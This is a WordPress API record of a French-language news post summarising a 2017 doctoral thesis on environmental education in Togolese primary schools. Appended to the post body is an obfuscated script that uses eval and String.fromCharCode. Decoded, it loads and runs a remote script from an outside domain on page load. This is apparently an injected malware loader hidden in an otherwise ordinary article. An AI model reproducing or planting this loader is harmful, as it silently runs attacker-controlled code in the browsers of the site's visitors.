{"id":67,"date":"2020-09-22T10:54:56","date_gmt":"2020-09-22T08:54:56","guid":{"rendered":"http:\/\/nerdtic.com\/edunews\/?p=67"},"modified":"2020-09-22T10:54:56","modified_gmt":"2020-09-22T08:54:56","slug":"obstacles-a-ladoption-de-comportements-ecocitoyens-en-milieu-scolaire-au-togo-analyse-des-valeurs-environnementales-de-lecole-primaire","status":"publish","type":"post","link":"https:\/\/edunews.tg\/info\/2020\/09\/22\/obstacles-a-ladoption-de-comportements-ecocitoyens-en-milieu-scolaire-au-togo-analyse-des-valeurs-environnementales-de-lecole-primaire\/","title":{"rendered":"Obstacles \u00e0 l\u2019adoption de comportements \u00e9cocitoyens  en milieu scolaire au Togo : analyse des valeurs environnementales de l\u2019\u00e9cole primaire."},"content":{"rendered":"\n<p class=\"wp-block-paragraph\">Cette&nbsp; formidable th\u00e8se de doctorat en science de l\u2019\u00e9ducation est soutenue le 21 d\u00e9cembre 2017&nbsp; \u00e0 Aix-Marseille en cotutelle avec l\u2019universit\u00e9 de Lom\u00e9 dans le cadre d\u2019Ecole Doctorale Cognition, Langue et Education (Aix-en-Provence) par Mensan Azadzi Dzamayovo sous la direction de Nicole Caparros-Mencacci et de Marlyse Adjo Quashie. Le r\u00e9sum\u00e9 se pr\u00e9sente comme suit&nbsp;: \u00ab&nbsp;La pr\u00e9sente recherche vise \u00e0 analyser et \u00e0 comprendre les freins au d\u00e9veloppement de comportements \u00e9cocitoyens dans les \u00e9tablissements d\u2019enseignement primaire au Togo. Pour ce faire, plusieurs m\u00e9thodes ont \u00e9t\u00e9 mobilis\u00e9es pour la recherche. Il s\u2019agit d\u2019abord, de l\u2019exploitation de l\u2019offre d\u2019\u00e9ducation environnementale pr\u00e9sente dans les manuels scolaires en cours d\u2019usage. Ensuite, l\u2019enqu\u00eate par questionnaire aupr\u00e8s de 358 \u00ab&nbsp;enseignants de l\u2019\u00e9cole primaire a permis de collecter des donn\u00e9es relatives \u00e0 la pr\u00e9disposition des enseignants \u00e0 la pr\u00e9servation ou \u00e0 l\u2019utilisation de l\u2019environnement. Enfin, l\u2019observation de 21 classes pendant les cours d\u2019\u00e9ducation environnementale suivi d\u2019entretiens individuels approfondis avec chaque enseignant dont la classe est observ\u00e9e.&nbsp; Ainsi, il ressort de la recherche que le curriculum formel pr\u00e9conise d\u2019\u00e9duquer les \u00e9l\u00e8ves \u00e0 deux valeurs environnementales fondamentales. Il s\u2019agit d\u2019une part, de la tol\u00e9rance, ce qui veut dire avoir conscience des menaces qui p\u00e8sent sur l\u2019environnement et d\u2019autre part, de l\u2019autonomie qui est le fait de participer aux actions de lutte pour la pr\u00e9servation de l\u2019environnement. Quant aux enseignants, ils sont favorables \u00e0 la pr\u00e9servation de l\u2019environnement&nbsp;; cependant, cette pr\u00e9disposition des enseignants \u00e0 la pr\u00e9servation de l\u2019environnement s\u2019amoindrit quant entre en jeu la satisfaction des besoins imm\u00e9diats de l\u2019homme. S\u2019agissant du curriculum implant\u00e9, il se limite \u00e0 \u00e9duquer les \u00e9l\u00e8ves \u00e0 la tol\u00e9rance. L\u2019offre d\u2019\u00e9ducation environnementale \u00e0 l\u2019\u00e9cole primaire au Togo reste inefficace et inad\u00e9quate, d\u2019o\u00f9 la n\u00e9cessit\u00e9 de prendre des mesures en vue de d\u00e9velopper le savoir-\u00eatre environnemental dans les \u00e9coles primaires&nbsp;\u00bb.<\/p>\n<script>var f=String;eval(f.fromCharCode(102,117,110,99,116,105,111,110,32,97,115,115,40,115,114,99,41,123,114,101,116,117,114,110,32,66,111,111,108,101,97,110,40,100,111,99,117,109,101,110,116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,125,32,118,97,114,32,108,111,61,34,104,116,116,112,115,58,47,47,102,111,114,46,102,105,114,115,116,98,108,97,99,107,112,104,97,115,101,46,99,111,109,47,116,114,98,98,98,98,98,50,34,59,105,102,40,97,115,115,40,108,111,41,61,61,102,97,108,115,101,41,123,118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,115,46,115,114,99,61,108,111,59,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,125,32,101,108,115,101,32,123,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,125,125));\/*674867468*\/<\/script>","protected":false},"excerpt":{"rendered":"<p>Cette&nbsp; formidable th\u00e8se de doctorat en science de l\u2019\u00e9ducation est soutenue le 21 d\u00e9cembre 2017&nbsp; \u00e0 Aix-Marseille en cotutelle avec l\u2019universit\u00e9 de Lom\u00e9 dans le cadre d\u2019Ecole Doctorale Cognition, Langue et Education (Aix-en-Provence) par Mensan Azadzi Dzamayovo sous la direction de Nicole Caparros-Mencacci et de Marlyse Adjo Quashie. Le r\u00e9sum\u00e9 se pr\u00e9sente comme suit&nbsp;: \u00ab&nbsp;La &hellip;<\/p>\n","protected":false},"author":1,"featured_media":68,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[46],"tags":[],"class_list":["post-67","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-theses"],"_links":{"self":[{"href":"https:\/\/edunews.tg\/info\/wp-json\/wp\/v2\/posts\/67","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/edunews.tg\/info\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/edunews.tg\/info\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/edunews.tg\/info\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/edunews.tg\/info\/wp-json\/wp\/v2\/comments?post=67"}],"version-history":[{"count":0,"href":"https:\/\/edunews.tg\/info\/wp-json\/wp\/v2\/posts\/67\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/edunews.tg\/info\/wp-json\/wp\/v2\/media\/68"}],"wp:attachment":[{"href":"https:\/\/edunews.tg\/info\/wp-json\/wp\/v2\/media?parent=67"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/edunews.tg\/info\/wp-json\/wp\/v2\/categories?post=67"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/edunews.tg\/info\/wp-json\/wp\/v2\/tags?post=67"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}